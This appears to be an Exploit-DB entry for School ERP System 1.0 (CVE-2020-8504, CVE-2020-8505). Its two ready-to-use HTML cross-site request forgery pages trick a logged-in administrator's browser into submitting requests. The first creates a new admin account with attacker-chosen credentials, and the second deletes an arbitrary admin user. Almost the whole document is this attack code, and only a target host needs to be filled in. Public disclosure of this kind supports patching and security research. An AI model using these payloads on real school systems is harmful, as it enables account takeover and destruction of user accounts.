School ERP System 1.0 - Cross Site Request Forgery (Add Admin)

EDB-ID:

47992




Platform:

PHP

Date:

2020-02-03


# Title: School ERP System 1.0 - Cross Site Request Forgery (Add Admin)
# Date: 2020-01-31
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/projects/school-erp-ultimate/files/
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/files/
# Version ERP-Ultimate
# CVE: CVE-2020-8504,CVE-2020-8505
# Tested on Windows 10/Kali Rolling
# The School ERP Ultimate web application is vulnerable to Cross Site Request Forgery 
# that leads to admin account creation and arbitrary user deletion.
# Proof of Concept for the Admin Account Creation:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEHERE/office_admin/?pid=42&action=addadmin" method="POST">
      <input type="hidden" name="admin&#95;fname" value="Admin" />
      <input type="hidden" name="admin&#95;lname" value="Tester" />
      <input type="hidden" name="admin&#95;username" value="testing" />
      <input type="hidden" name="admin&#95;password" value="testing123" />
      <input type="hidden" name="admin&#95;password2" value="testing123" />
      <input type="hidden" name="admin&#95;email" value="test&#64;test&#46;com" />
      <input type="hidden" name="admin&#95;phoneno" value="9999999999" />
      <input type="hidden" name="adminlevel" value="" />
      <input type="hidden" name="admin&#95;more" value="Test" />
      <input type="hidden" name="1&#95;p" value="1&#95;p" />
      <input type="hidden" name="1&#95;1" value="1&#95;1" />
      <input type="hidden" name="1&#95;2" value="1&#95;2" />
      <input type="hidden" name="1&#95;4" value="1&#95;4" />
      <input type="hidden" name="1&#95;3" value="1&#95;3" />
      <input type="hidden" name="2&#95;p" value="2&#95;p" />
      <input type="hidden" name="2&#95;1" value="2&#95;1" />
      <input type="hidden" name="2&#95;2" value="2&#95;2" />
      <input type="hidden" name="2&#95;3" value="2&#95;3" />
      <input type="hidden" name="2&#95;4" value="2&#95;4" />
      <input type="hidden" name="2&#95;5" value="2&#95;5" />
      <input type="hidden" name="2&#95;6" value="2&#95;6" />
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      <input type="hidden" name="saveallowance" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Proof of Concept for the arbitrary user deletion:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEHERE/office_admin/">
      <input type="hidden" name="pid" value="42" />
      <input type="hidden" name="action" value="deleteadmin" />
      <input type="hidden" name="lid" value="90" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>